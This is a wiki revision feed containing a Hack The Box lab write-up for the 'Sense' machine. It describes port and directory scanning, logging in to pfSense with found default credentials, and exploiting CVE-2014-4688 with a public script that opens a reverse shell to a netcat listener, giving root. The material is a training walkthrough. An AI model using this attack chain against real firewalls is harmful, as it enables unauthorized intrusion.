<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FSense</id>
	<title>Write-ups/HTB/Sense - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FSense"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Sense&amp;action=history"/>
	<updated>2026-04-21T16:17:31Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Sense&amp;diff=1191&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 09:14, 22 February 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Sense&amp;diff=1191&amp;oldid=prev"/>
		<updated>2022-02-22T09:14:02Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Sense&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = pfSense Default Creds&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-14.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Linux box was a easy box where I found a username and used the pfsense&amp;#039;s default password, &amp;#039;&amp;#039;&amp;#039;pfsense&amp;#039;&amp;#039;&amp;#039;, to get access to the firewall. Then I exploited a vulnerability that allowed authenticated users to execute arbitrary code to get a shell. The shell was root so there was no need for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/sense]&lt;br /&gt;
└─# cat nmap.ver                                                                                                                                         1 ⨯&lt;br /&gt;
# Nmap 7.92 scan initiated Mon Jan 31 15:48:25 2022 as: nmap -p- -sC -sV --min-rate 10000 -oN nmap.ver 10.10.10.60&lt;br /&gt;
Nmap scan report for 10.10.10.60&lt;br /&gt;
Host is up (0.031s latency).&lt;br /&gt;
Not shown: 65533 filtered tcp ports (no-response)&lt;br /&gt;
PORT    STATE SERVICE  VERSION&lt;br /&gt;
80/tcp  open  http     lighttpd 1.4.35&lt;br /&gt;
|_http-server-header: lighttpd/1.4.35&lt;br /&gt;
|_http-title: Did not follow redirect to https://10.10.10.60/&lt;br /&gt;
443/tcp open  ssl/http lighttpd 1.4.35&lt;br /&gt;
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US&lt;br /&gt;
| Not valid before: 2017-10-14T19:21:35&lt;br /&gt;
|_Not valid after:  2023-04-06T19:21:35&lt;br /&gt;
|_http-server-header: lighttpd/1.4.35&lt;br /&gt;
|_ssl-date: TLS randomness does not represent time&lt;br /&gt;
|_http-title: Login&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There were only two ports open, port &amp;#039;&amp;#039;&amp;#039;80 &amp;#039;&amp;#039;&amp;#039;and port &amp;#039;&amp;#039;&amp;#039;443. &amp;#039;&amp;#039;&amp;#039;Visiting the websites it was showing a login page for PfSense. I tried the default username and password for pfsense, but that didnt work.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131220529.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I continued with enumeration; I did a &amp;#039;&amp;#039;&amp;#039;feroxbuster&amp;#039;&amp;#039;&amp;#039; on port 443.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/sense]&lt;br /&gt;
└─# feroxbuster --url https://10.10.10.60 --filter-status 401,402,403,404 -x txt --depth 1 --output ferox.result -k --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;br /&gt;
&lt;br /&gt;
 ___  ___  __   __     __      __         __   ___&lt;br /&gt;
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__&lt;br /&gt;
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___&lt;br /&gt;
by Ben &amp;quot;epi&amp;quot; Risher 🤓                 ver: 2.5.0&lt;br /&gt;
───────────────────────────┬──────────────────────&lt;br /&gt;
 🎯  Target Url            │ https://10.10.10.60&lt;br /&gt;
 🚀  Threads               │ 50&lt;br /&gt;
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;br /&gt;
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]&lt;br /&gt;
 💢  Status Code Filters   │ [401, 402, 403, 404]&lt;br /&gt;
 💥  Timeout (secs)        │ 7&lt;br /&gt;
 🦡  User-Agent            │ feroxbuster/2.5.0&lt;br /&gt;
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml&lt;br /&gt;
 💾  Output File           │ ferox.result&lt;br /&gt;
 💲  Extensions            │ [txt]&lt;br /&gt;
 🏁  HTTP methods          │ [GET]&lt;br /&gt;
 🔓  Insecure              │ true&lt;br /&gt;
 🔃  Recursion Depth       │ 1&lt;br /&gt;
───────────────────────────┴──────────────────────&lt;br /&gt;
 🏁  Press [ENTER] to use the Scan Management Menu™&lt;br /&gt;
──────────────────────────────────────────────────&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/themes =&amp;gt; https://10.10.10.60/themes/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/css =&amp;gt; https://10.10.10.60/css/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/includes =&amp;gt; https://10.10.10.60/includes/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/javascript =&amp;gt; https://10.10.10.60/javascript/&lt;br /&gt;
200      GET       10l       40w      271c https://10.10.10.60/changelog.txt&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/classes =&amp;gt; https://10.10.10.60/classes/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/widgets =&amp;gt; https://10.10.10.60/widgets/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/tree =&amp;gt; https://10.10.10.60/tree/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/shortcuts =&amp;gt; https://10.10.10.60/shortcuts/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/installer =&amp;gt; https://10.10.10.60/installer/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/wizards =&amp;gt; https://10.10.10.60/wizards/&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/csrf =&amp;gt; https://10.10.10.60/csrf/&lt;br /&gt;
200      GET        7l       12w      106c https://10.10.10.60/system-users.txt&lt;br /&gt;
301      GET        0l        0w        0c https://10.10.10.60/filebrowser =&amp;gt; https://10.10.10.60/filebrowser/&lt;br /&gt;
[####################] - 6m    441090/441090  0s      found:14      errors:0&lt;br /&gt;
[####################] - 6m    441090/441090  1098/s  https://10.10.10.60&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;#039;&amp;#039;&amp;#039;--depth &amp;#039;&amp;#039;&amp;#039;flag tells feroxbuster how &amp;quot;deep&amp;quot; to go into the subdirectories. Here I only want feroxbuster to go one level. I filter out status codes I dont want to see with &amp;#039;&amp;#039;&amp;#039;--filter-status&amp;#039;&amp;#039;&amp;#039; and use &amp;#039;&amp;#039;&amp;#039;-k&amp;#039;&amp;#039;&amp;#039; for insecure or ignore TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the result there was some interesting subdirs and files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Subdirectories - changelog.txt and system-users.txt ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131221730.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the changelog.txt we can see that it failed to update the firewall. Telling us that there might be a vulnerability we could exploit to get initial access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131230658.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now we also have a username &amp;#039;&amp;#039;&amp;#039;Rohit&amp;#039;&amp;#039;&amp;#039; and the password is company defualt. That tells me that they use the default password for pfsense. Trying that gives me access to the dashboard for pfsense.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Login to pfsense ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I used the credentials I&amp;#039;ve found with the default password for pfsense and logged in to pfsense.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220131232546.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can see that it is running &amp;#039;&amp;#039;&amp;#039;pfsense 2.1.3-RELEASE&amp;#039;&amp;#039;&amp;#039; on &amp;#039;&amp;#039;&amp;#039;FreeBSD 8.3-RELEASE-p16. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as Root ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick google search I find that the firewall is vulnerable to CVE-2014-4688.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
pfSense before 2.1.4 allows remote authenticated users to execute arbitrary commands via (1) the hostname value to diag_dns.php in a Create Alias action, (2) the smartmonemail value to diag_smart.php, or (3) the database value to status_rrd_graph_img.php.&lt;br /&gt;
https://nvd.nist.gov/vuln/detail/CVE-2014-4688&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The firewall is vulnerable to execution of arbitrary commands with authenticated user. We have credentials so we can try to exploit the vulnerability to get a shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I used [https://www.exploit-db.com/exploits/43560 this]script to get a shell. And [https://spencerdodd.github.io/2018/01/14/pfsense-arbitrary-code-execution/ this] blog have good explanation for the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So lets run the script&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/sense]&lt;br /&gt;
└─# python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.17 --lport 4444 --username rohit --password pfsense&lt;br /&gt;
CSRF token obtained&lt;br /&gt;
Running exploit...&lt;br /&gt;
Exploit completed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/sense]&lt;br /&gt;
└─# nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.60] 31868&lt;br /&gt;
sh: can&amp;#039;t access tty; job control turned off&lt;br /&gt;
# whoami&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we got a shell on our listener, and it is root. So that was a very quick and easy box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Using default credentials is a big no. As we saw on this machine we were able to get a username and tried the default password for pfsense which gave us access to the dashboard. * Since pfsense was running as root we were able to exploit a vulnerability which gave us arbitrary command execution on the machine that gave us a root shell. * If the sysadmin would&amp;#039;ve patched the firewall this would not be possible.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>